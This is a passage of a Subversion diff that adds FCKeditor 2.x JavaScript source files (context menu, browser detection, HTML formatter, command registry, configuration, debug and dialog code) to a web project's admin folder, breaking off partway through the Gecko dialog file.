+		case 'HiddenField' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'INPUT' && tag.type == 'hidden' )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'HiddenField', FCKLang.HiddenFieldProp, 56 ) ;
+				}
+			}} ;
+
+		case 'ImageButton' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'INPUT' && tag.type == 'image' )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'ImageButton', FCKLang.ImageButtonProp, 55 ) ;
+				}
+			}} ;
+
+		case 'Button' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'INPUT' && ( tag.type == 'button' || tag.type == 'submit' || tag.type == 'reset' ) )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Button', FCKLang.ButtonProp, 54 ) ;
+				}
+			}} ;
+
+		case 'Select' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'SELECT' )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Select', FCKLang.SelectionFieldProp, 53 ) ;
+				}
+			}} ;
+
+		case 'Textarea' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'TEXTAREA' )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Textarea', FCKLang.TextareaProp, 52 ) ;
+				}
+			}} ;
+
+		case 'BulletedList' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( FCKSelection.HasAncestorNode('UL') )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'BulletedList', FCKLang.BulletedListProp, 27 ) ;
+				}
+			}} ;
+
+		case 'NumberedList' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( FCKSelection.HasAncestorNode('OL') )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'NumberedList', FCKLang.NumberedListProp, 26 ) ;
+				}
+			}} ;
+	}
+}
+
+function FCK_ContextMenu_OnBeforeOpen()
+{
+	// Update the UI.
+	FCK.Events.FireEvent( "OnSelectionChange" ) ;
+
+  	// Get the actual selected tag (if any).
+	var oTag, sTagName ;
+	
+	if ( oTag = FCKSelection.GetSelectedElement() )
+		sTagName = oTag.tagName ;
+
+	// Cleanup the current menu items.
+	var oMenu = FCK.ContextMenu._InnerContextMenu ;
+	oMenu.RemoveAllItems() ;
+
+	// Loop through the listeners.
+	var aListeners = FCK.ContextMenu.Listeners ;
+	for ( var i = 0 ; i < aListeners.length ; i++ )
+		aListeners[i].AddItems( oMenu, oTag, sTagName ) ;
+}
+
+function FCK_ContextMenu_OnItemClick( item )
+{
+	FCK.Focus() ;
+	FCKCommands.GetCommand( item.Name ).Execute() ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckbrowserinfo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckbrowserinfo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckbrowserinfo.js	(revision 44)
@@ -0,0 +1,37 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckbrowserinfo.js
+ * 	Contains browser detection information.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var s = navigator.userAgent.toLowerCase() ;
+
+var FCKBrowserInfo = 
+{
+	IsIE		: s.Contains('msie'),
+	IsIE7		: s.Contains('msie 7'),
+	IsGecko		: s.Contains('gecko/'),
+	IsSafari	: s.Contains('safari'),
+	IsOpera		: s.Contains('opera')
+}
+
+FCKBrowserInfo.IsGeckoLike = FCKBrowserInfo.IsGecko || FCKBrowserInfo.IsSafari || FCKBrowserInfo.IsOpera ;
+
+if ( FCKBrowserInfo.IsGecko )
+{
+	var sGeckoVersion = s.match( /gecko\/(\d+)/ )[1] ;
+	FCKBrowserInfo.IsGecko10 = sGeckoVersion < 20051111 ;	// Actually "10" refers to versions before Firefox 1.5, where Gecko 20051111 has been released.
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckcodeformatter.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckcodeformatter.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckcodeformatter.js	(revision 44)
@@ -0,0 +1,96 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckcodeformatter.js
+ * 	Format the HTML.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKCodeFormatter = new Object() ;
+
+FCKCodeFormatter.Init = function()
+{
+	var oRegex = this.Regex = new Object() ;
+
+	// Regex for line breaks.
+	oRegex.BlocksOpener = /\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi ;
+	oRegex.BlocksCloser = /\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi ;
+
+	oRegex.NewLineTags	= /\<(BR|HR)[^\>]*\>/gi ;
+
+	oRegex.MainTags = /\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi ;
+
+	oRegex.LineSplitter = /\s*\n+\s*/g ;
+
+	// Regex for indentation.
+	oRegex.IncreaseIndent = /^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i ;
+	oRegex.DecreaseIndent = /^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i ;
+	oRegex.FormatIndentatorRemove = new RegExp( '^' + FCKConfig.FormatIndentator ) ;
+
+	oRegex.ProtectedTags = /(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi ;
+}
+
+FCKCodeFormatter._ProtectData = function( outer, opener, data, closer )
+{
+	return opener + '___FCKpd___' + FCKCodeFormatter.ProtectedData.AddItem( data ) + closer ;
+}
+
+FCKCodeFormatter.Format = function( html )
+{
+	if ( !this.Regex )
+		this.Init() ;
+
+	// Protected content that remain untouched during the
+	// process go in the following array.
+	FCKCodeFormatter.ProtectedData = new Array() ;
+	
+	var sFormatted = html.replace( this.Regex.ProtectedTags, FCKCodeFormatter._ProtectData ) ;
+	
+	// Line breaks.
+	sFormatted		= sFormatted.replace( this.Regex.BlocksOpener, '\n$&' ) ; ;
+	sFormatted		= sFormatted.replace( this.Regex.BlocksCloser, '$&\n' ) ;
+	sFormatted		= sFormatted.replace( this.Regex.NewLineTags, '$&\n' ) ;
+	sFormatted		= sFormatted.replace( this.Regex.MainTags, '\n$&\n' ) ;
+
+	// Indentation.
+	var sIndentation = '' ;
+	
+	var asLines = sFormatted.split( this.Regex.LineSplitter ) ;
+	sFormatted = '' ;
+	
+	for ( var i = 0 ; i < asLines.length ; i++ )
+	{
+		var sLine = asLines[i] ;
+		
+		if ( sLine.length == 0 )
+			continue ;
+		
+		if ( this.Regex.DecreaseIndent.test( sLine ) )
+			sIndentation = sIndentation.replace( this.Regex.FormatIndentatorRemove, '' ) ;
+
+		sFormatted += sIndentation + sLine + '\n' ;
+		
+		if ( this.Regex.IncreaseIndent.test( sLine ) )
+			sIndentation += FCKConfig.FormatIndentator ;
+	}
+	
+	// Now we put back the protected data.
+	for ( var i = 0 ; i < FCKCodeFormatter.ProtectedData.length ; i++ )
+	{
+		var oRegex = new RegExp( '___FCKpd___' + i ) ;
+		sFormatted = sFormatted.replace( oRegex, FCKCodeFormatter.ProtectedData[i].replace( /\$/g, '$$$$' ) ) ;
+	}
+
+	return sFormatted.trim() ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckcommands.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckcommands.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckcommands.js	(revision 44)
@@ -0,0 +1,126 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckcommands.js
+ * 	Define all commands available in the editor.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKCommands = FCK.Commands = new Object() ;
+FCKCommands.LoadedCommands = new Object() ;
+
+FCKCommands.RegisterCommand = function( commandName, command )
+{
+	this.LoadedCommands[ commandName ] = command ;
+}
+
+FCKCommands.GetCommand = function( commandName )
+{
+	var oCommand = FCKCommands.LoadedCommands[ commandName ] ;
+	
+	if ( oCommand )
+		return oCommand ;
+
+	switch ( commandName )
+	{
+		case 'DocProps'		: oCommand = new FCKDialogCommand( 'DocProps'	, FCKLang.DocProps				, 'dialog/fck_docprops.html'	, 400, 390, FCKCommands.GetFullPageState ) ; break ;
+		case 'Templates'	: oCommand = new FCKDialogCommand( 'Templates'	, FCKLang.DlgTemplatesTitle		, 'dialog/fck_template.html'	, 380, 450 ) ; break ;
+		case 'Link'			: oCommand = new FCKDialogCommand( 'Link'		, FCKLang.DlgLnkWindowTitle		, 'dialog/fck_link.html'		, 400, 330, FCK.GetNamedCommandState, 'CreateLink' ) ; break ;
+		case 'Unlink'		: oCommand = new FCKUnlinkCommand() ; break ;
+		case 'Anchor'		: oCommand = new FCKDialogCommand( 'Anchor'		, FCKLang.DlgAnchorTitle		, 'dialog/fck_anchor.html'		, 370, 170 ) ; break ;
+		case 'BulletedList'	: oCommand = new FCKDialogCommand( 'BulletedList', FCKLang.BulletedListProp		, 'dialog/fck_listprop.html'	, 370, 170 ) ; break ;
+		case 'NumberedList'	: oCommand = new FCKDialogCommand( 'NumberedList', FCKLang.NumberedListProp		, 'dialog/fck_listprop.html'	, 370, 170 ) ; break ;
+		case 'About'		: oCommand = new FCKDialogCommand( 'About'		, FCKLang.About					, 'dialog/fck_about.html'		, 400, 330 ) ; break ;
+
+		case 'Find'			: oCommand = new FCKDialogCommand( 'Find'		, FCKLang.DlgFindTitle			, 'dialog/fck_find.html'		, 340, 170 ) ; break ;
+		case 'Replace'		: oCommand = new FCKDialogCommand( 'Replace'	, FCKLang.DlgReplaceTitle		, 'dialog/fck_replace.html'		, 340, 200 ) ; break ;
+
+		case 'Image'		: oCommand = new FCKDialogCommand( 'Image'		, FCKLang.DlgImgTitle			, 'dialog/fck_image.html'		, 450, 400 ) ; break ;
+		case 'Flash'		: oCommand = new FCKDialogCommand( 'Flash'		, FCKLang.DlgFlashTitle			, 'dialog/fck_flash.html'		, 450, 400 ) ; break ;
+		case 'SpecialChar'	: oCommand = new FCKDialogCommand( 'SpecialChar', FCKLang.DlgSpecialCharTitle	, 'dialog/fck_specialchar.html'	, 400, 320 ) ; break ;
+		case 'Smiley'		: oCommand = new FCKDialogCommand( 'Smiley'		, FCKLang.DlgSmileyTitle		, 'dialog/fck_smiley.html'		, FCKConfig.SmileyWindowWidth, FCKConfig.SmileyWindowHeight ) ; break ;
+		case 'Table'		: oCommand = new FCKDialogCommand( 'Table'		, FCKLang.DlgTableTitle			, 'dialog/fck_table.html'		, 450, 250 ) ; break ;
+		case 'TableProp'	: oCommand = new FCKDialogCommand( 'Table'		, FCKLang.DlgTableTitle			, 'dialog/fck_table.html?Parent', 400, 250 ) ; break ;
+		case 'TableCellProp': oCommand = new FCKDialogCommand( 'TableCell'	, FCKLang.DlgCellTitle			, 'dialog/fck_tablecell.html'	, 550, 250 ) ; break ;
+		case 'UniversalKey'	: oCommand = new FCKDialogCommand( 'UniversalKey', FCKLang.UniversalKeyboard	, 'dialog/fck_universalkey.html', 415, 300 ) ; break ;
+
+		case 'Style'		: oCommand = new FCKStyleCommand() ; break ;
+
+		case 'FontName'		: oCommand = new FCKFontNameCommand() ; break ;
+		case 'FontSize'		: oCommand = new FCKFontSizeCommand() ; break ;
+		case 'FontFormat'	: oCommand = new FCKFormatBlockCommand() ; break ;
+
+		case 'Source'		: oCommand = new FCKSourceCommand() ; break ;
+		case 'Preview'		: oCommand = new FCKPreviewCommand() ; break ;
+		case 'Save'			: oCommand = new FCKSaveCommand() ; break ;
+		case 'NewPage'		: oCommand = new FCKNewPageCommand() ; break ;
+		case 'PageBreak'	: oCommand = new FCKPageBreakCommand() ; break ;
+
+		case 'TextColor'	: oCommand = new FCKTextColorCommand('ForeColor') ; break ;
+		case 'BGColor'		: oCommand = new FCKTextColorCommand('BackColor') ; break ;
+
+		case 'PasteText'	: oCommand = new FCKPastePlainTextCommand() ; break ;
+		case 'PasteWord'	: oCommand = new FCKPasteWordCommand() ; break ;
+
+		case 'TableInsertRow'		: oCommand = new FCKTableCommand('TableInsertRow') ; break ;
+		case 'TableDeleteRows'		: oCommand = new FCKTableCommand('TableDeleteRows') ; break ;
+		case 'TableInsertColumn'	: oCommand = new FCKTableCommand('TableInsertColumn') ; break ;
+		case 'TableDeleteColumns'	: oCommand = new FCKTableCommand('TableDeleteColumns') ; break ;
+		case 'TableInsertCell'		: oCommand = new FCKTableCommand('TableInsertCell') ; break ;
+		case 'TableDeleteCells'		: oCommand = new FCKTableCommand('TableDeleteCells') ; break ;
+		case 'TableMergeCells'		: oCommand = new FCKTableCommand('TableMergeCells') ; break ;
+		case 'TableSplitCell'		: oCommand = new FCKTableCommand('TableSplitCell') ; break ;
+		case 'TableDelete'			: oCommand = new FCKTableCommand('TableDelete') ; break ;
+
+		case 'Form'			: oCommand = new FCKDialogCommand( 'Form'		, FCKLang.Form			, 'dialog/fck_form.html'		, 380, 230 ) ; break ;
+		case 'Checkbox'		: oCommand = new FCKDialogCommand( 'Checkbox'	, FCKLang.Checkbox		, 'dialog/fck_checkbox.html'	, 380, 230 ) ; break ;
+		case 'Radio'		: oCommand = new FCKDialogCommand( 'Radio'		, FCKLang.RadioButton	, 'dialog/fck_radiobutton.html'	, 380, 230 ) ; break ;
+		case 'TextField'	: oCommand = new FCKDialogCommand( 'TextField'	, FCKLang.TextField		, 'dialog/fck_textfield.html'	, 380, 230 ) ; break ;
+		case 'Textarea'		: oCommand = new FCKDialogCommand( 'Textarea'	, FCKLang.Textarea		, 'dialog/fck_textarea.html'	, 380, 230 ) ; break ;
+		case 'HiddenField'	: oCommand = new FCKDialogCommand( 'HiddenField', FCKLang.HiddenField	, 'dialog/fck_hiddenfield.html'	, 380, 230 ) ; break ;
+		case 'Button'		: oCommand = new FCKDialogCommand( 'Button'		, FCKLang.Button		, 'dialog/fck_button.html'		, 380, 230 ) ; break ;
+		case 'Select'		: oCommand = new FCKDialogCommand( 'Select'		, FCKLang.SelectionField, 'dialog/fck_select.html'		, 400, 380 ) ; break ;
+		case 'ImageButton'	: oCommand = new FCKDialogCommand( 'ImageButton', FCKLang.ImageButton	, 'dialog/fck_image.html?ImageButton', 450, 400 ) ; break ;
+
+		case 'SpellCheck'	: oCommand = new FCKSpellCheckCommand() ; break ;
+		case 'FitWindow'	: oCommand = new FCKFitWindow() ; break ;
+
+		case 'Undo'	: oCommand = new FCKUndoCommand() ; break ;
+		case 'Redo'	: oCommand = new FCKRedoCommand() ; break ;
+
+		// Generic Undefined command (usually used when a command is under development).
+		case 'Undefined'	: oCommand = new FCKUndefinedCommand() ; break ;
+		
+		// By default we assume that it is a named command.
+		default:
+			if ( FCKRegexLib.NamedCommands.test( commandName ) )
+				oCommand = new FCKNamedCommand( commandName ) ;
+			else
+			{
+				alert( FCKLang.UnknownCommand.replace( /%1/g, commandName ) ) ;
+				return null ;
+			}
+	}
+	
+	FCKCommands.LoadedCommands[ commandName ] = oCommand ;
+	
+	return oCommand ;
+}
+
+// Gets the state of the "Document Properties" button. It must be enabled only
+// when "Full Page" editing is available.
+FCKCommands.GetFullPageState = function()
+{
+	return FCKConfig.FullPage ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckconfig.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckconfig.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckconfig.js	(revision 44)
@@ -0,0 +1,195 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckconfig.js
+ * 	Creates and initializes the FCKConfig object.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKConfig = FCK.Config = new Object() ;
+
+/*
+	For the next major version (probably 3.0) we should move all this stuff to
+	another dedicated object and leave FCKConfig as a holder object for settings only).
+*/
+
+// Editor Base Path
+if ( document.location.protocol == 'file:' )
+{
+	FCKConfig.BasePath = unescape( document.location.pathname.substr(1) ) ;
+	FCKConfig.BasePath = FCKConfig.BasePath.replace( /\\/gi, '/' ) ;
+	FCKConfig.BasePath = 'file://' + FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1) ;
+	FCKConfig.FullBasePath = FCKConfig.BasePath ;
+}
+else
+{
+	FCKConfig.BasePath = document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1) ;
+	FCKConfig.FullBasePath = document.location.protocol + '//' + document.location.host + FCKConfig.BasePath ;
+}
+
+FCKConfig.EditorPath = FCKConfig.BasePath.replace( /editor\/$/, '' ) ;
+
+// There is a bug in Gecko. If the editor is hidden on startup, an error is 
+// thrown when trying to get the screen dimentions.
+try
+{
+	FCKConfig.ScreenWidth	= screen.width ;
+	FCKConfig.ScreenHeight	= screen.height ;
+}
+catch (e) 
+{
+	FCKConfig.ScreenWidth	= 800 ;
+	FCKConfig.ScreenHeight	= 600 ;
+}
+
+// Override the actual configuration values with the values passed throw the 
+// hidden field "<InstanceName>___Config".
+FCKConfig.ProcessHiddenField = function()
+{
+	this.PageConfig = new Object() ;
+
+	// Get the hidden field.
+	var oConfigField = window.parent.document.getElementById( FCK.Name + '___Config' ) ;
+	
+	// Do nothing if the config field was not defined.
+	if ( ! oConfigField ) return ;
+
+	var aCouples = oConfigField.value.split('&') ;
+
+	for ( var i = 0 ; i < aCouples.length ; i++ )
+	{
+		if ( aCouples[i].length == 0 )
+			continue ;
+
+		var aConfig = aCouples[i].split( '=' ) ;
+		var sKey = unescape( aConfig[0] ) ;
+		var sVal = unescape( aConfig[1] ) ;
+
+		if ( sKey == 'CustomConfigurationsPath' )	// The Custom Config File path must be loaded immediately.
+			FCKConfig[ sKey ] = sVal ;
+
+		else if ( sVal.toLowerCase() == "true" )	// If it is a boolean TRUE.
+			this.PageConfig[ sKey ] = true ;
+
+		else if ( sVal.toLowerCase() == "false" )	// If it is a boolean FALSE.
+			this.PageConfig[ sKey ] = false ;
+
+		else if ( sVal.length > 0 && !isNaN( sVal ) )	// If it is a number.
+			this.PageConfig[ sKey ] = parseInt( sVal ) ;
+
+		else										// In any other case it is a string.
+			this.PageConfig[ sKey ] = sVal ;
+	}
+}
+
+function FCKConfig_LoadPageConfig()
+{
+	var oPageConfig = FCKConfig.PageConfig ;
+	for ( var sKey in oPageConfig )
+		FCKConfig[ sKey ] = oPageConfig[ sKey ] ;
+}
+
+function FCKConfig_PreProcess()
+{
+	var oConfig = FCKConfig ;
+	
+	// Force debug mode if fckdebug=true in the QueryString (main page).
+	if ( oConfig.AllowQueryStringDebug )
+	{
+		try
+		{
+			if ( (/fckdebug=true/i).test( window.top.location.search ) )
+				oConfig.Debug = true ;
+		}
+		catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }
+	}
+
+	// Certifies that the "PluginsPath" configuration ends with a slash.
+	if ( !oConfig.PluginsPath.endsWith('/') )
+		oConfig.PluginsPath += '/' ;
+
+	// EditorAreaCSS accepts an array of paths or a single path (as string).
+	// In the last case, transform it in an array.
+	if ( typeof( oConfig.EditorAreaCSS ) == 'string' )
+		oConfig.EditorAreaCSS = [ oConfig.EditorAreaCSS ] ;
+
+	var sComboPreviewCSS = oConfig.ToolbarComboPreviewCSS ;
+	if ( !sComboPreviewCSS || sComboPreviewCSS.length == 0 )
+		oConfig.ToolbarComboPreviewCSS = oConfig.EditorAreaCSS ;
+	else if ( typeof( sComboPreviewCSS ) == 'string' )
+		oConfig.ToolbarComboPreviewCSS = [ sComboPreviewCSS ] ;
+}
+
+// Define toolbar sets collection.
+FCKConfig.ToolbarSets = new Object() ;
+
+// Defines the plugins collection.
+FCKConfig.Plugins = new Object() ;
+FCKConfig.Plugins.Items = new Array() ;
+
+FCKConfig.Plugins.Add = function( name, langs, path )
+{
+	FCKConfig.Plugins.Items.AddItem( [name, langs, path] ) ;
+}
+
+// FCKConfig.ProtectedSource: object that holds a collection of Regular 
+// Expressions that defined parts of the raw HTML that must remain untouched
+// like custom tags, scripts, server side code, etc...
+FCKConfig.ProtectedSource = new Object() ;
+
+// Initialize the regex array with the default ones.
+FCKConfig.ProtectedSource.RegexEntries = [
+	// First of any other protection, we must protect all comments to avoid 
+	// loosing them (of course, IE related).
+	/<!--[\s\S]*?-->/g ,
+
+	// Script tags will also be forced to be protected, otherwise IE will execute them.
+	/<script[\s\S]*?<\/script>/gi,
+	
+	// <noscript> tags (get lost in IE and messed up in FF).
+	/<noscript[\s\S]*?<\/noscript>/gi
+] ;
+
+FCKConfig.ProtectedSource.Add = function( regexPattern )
+{
+	this.RegexEntries.AddItem( regexPattern ) ;
+}
+
+FCKConfig.ProtectedSource.Protect = function( html )
+{
+	function _Replace( protectedSource )
+	{
+		var index = FCKTempBin.AddElement( protectedSource ) ;
+		return '<!--{PS..' + index + '}-->' ;
+	}
+	
+	for ( var i = 0 ; i < this.RegexEntries.length ; i++ )
+	{
+		html = html.replace( this.RegexEntries[i], _Replace ) ;
+	}
+	
+	return html ;
+}
+
+FCKConfig.ProtectedSource.Revert = function( html, clearBin )
+{
+	function _Replace( m, opener, index )
+	{
+		var protectedValue = clearBin ? FCKTempBin.RemoveElement( index ) : FCKTempBin.Elements[ index ] ;
+		// There could be protected source inside another one.
+		return FCKConfig.ProtectedSource.Revert( protectedValue, clearBin ) ;
+	}
+
+	return html.replace( /(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g, _Replace ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdebug.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdebug.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdebug.js	(revision 44)
@@ -0,0 +1,77 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdebug.js
+ * 	Debug window control and operations.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKDebug = new Object() ;
+
+FCKDebug.Output = function( message, color, noParse )
+{
+	if ( ! FCKConfig.Debug ) return ;
+	
+	if ( !noParse && message != null && isNaN( message ) )
+		message = message.replace(/</g, "&lt;") ;
+
+	if ( !this.DebugWindow || this.DebugWindow.closed )
+		this.DebugWindow = window.open( FCKConfig.BasePath + 'fckdebug.html', 'FCKeditorDebug', 'menubar=no,scrollbars=no,resizable=yes,location=no,toolbar=no,width=600,height=500', true ) ;
+	
+	if ( this.DebugWindow && this.DebugWindow.Output)
+	{
+		try 
+		{
+			this.DebugWindow.Output( message, color ) ;
+		} 
+		catch ( e ) {}	 // Ignore errors
+	}
+}
+
+FCKDebug.OutputObject = function( anyObject, color )
+{
+	if ( ! FCKConfig.Debug ) return ;
+
+	var message ;
+	
+	if ( anyObject != null ) 
+	{
+		message = 'Properties of: ' + anyObject + '</b><blockquote>' ;
+		
+		for (var prop in anyObject)
+		{
+			try 
+			{
+				var sVal = anyObject[ prop ] ? anyObject[ prop ] + '' : '[null]' ;
+				message += '<b>' + prop + '</b> : ' + sVal.replace(/</g, '&lt;') + '<br>' ;
+			} 
+			catch (e)
+			{
+				try
+				{
+					message += '<b>' + prop + '</b> : [' + typeof( anyObject[ prop ] ) + ']<br>' ;
+				}
+				catch (e)
+				{
+					message += '<b>' + prop + '</b> : [-error-]<br>' ;
+				}
+			}
+		}
+
+		message += '</blockquote><b>' ; 
+	} else
+		message = 'OutputObject : Object is "null".' ;
+		
+	FCKDebug.Output( message, color, true ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog.js	(revision 44)
@@ -0,0 +1,34 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdialog.js
+ * 	Dialog windows operations.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKDialog = new Object() ;
+
+// This method opens a dialog window using the standard dialog template.
+FCKDialog.OpenDialog = function( dialogName, dialogTitle, dialogPage, width, height, customValue, parentWindow, resizable )
+{
+	// Setup the dialog info.
+	var oDialogInfo = new Object() ;
+	oDialogInfo.Title = dialogTitle ;
+	oDialogInfo.Page = dialogPage ;
+	oDialogInfo.Editor = window ;
+	oDialogInfo.CustomValue = customValue ;		// Optional
+	
+	var sUrl = FCKConfig.BasePath + 'fckdialog.html' ;
+	this.Show( oDialogInfo, dialogName, sUrl, width, height, parentWindow, resizable ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog_gecko.js	(revision 44)
@@ -0,0 +1,101 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdialog_gecko.js
+ * 	Dialog windows operations. (Gecko specific implementations)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKDialog.Show = function( dialogInfo, dialogName, pageUrl, dialogWidth, dialogHeight, parentWindow, resizable )
+{
+	var iTop  = (FCKConfig.ScreenHeight - dialogHeight) / 2 ;
+	var iLeft = (FCKConfig.ScreenWidth  - dialogWidth)  / 2 ;
+
+	var sOption  = "location=no,menubar=no,toolbar=no,dependent=yes,dialog=yes,minimizable=no,modal=yes,alwaysRaised=yes" +
+		",resizable="  + ( resizable ? 'yes' : 'no' ) +
+		",width="  + dialogWidth +
+		",height=" + dialogHeight +
+		",top="  + iTop +
+		",left=" + iLeft ;
+
+	if ( !parentWindow )
+		parentWindow = window ;
+	
+	FCKFocusManager.Lock() ;
+	
+	var oWindow = parentWindow.open( '', 'FCKeditorDialog_' + dialogName, sOption, true ) ;
+	
+	if ( !oWindow )
+	{
+		alert( FCKLang.DialogBlocked ) ;
+		FCKFocusManager.Unlock() ;
+		return ;
+	}
+		
+	oWindow.moveTo( iLeft, iTop ) ;
+	oWindow.resizeTo( dialogWidth, dialogHeight ) ;
+	oWindow.focus() ;
+	oWindow.location.href = pageUrl ;
+	
+	oWindow.dialogArguments = dialogInfo ;
+	
+	// On some Gecko browsers (probably over slow connections) the 
+	// "dialogArguments" are not set to the target window so we must
+	// put it in the opener window so it can be used by the target one.
+	parentWindow.FCKLastDialogInfo = dialogInfo ;
+	
+	this.Window = oWindow ;
+	
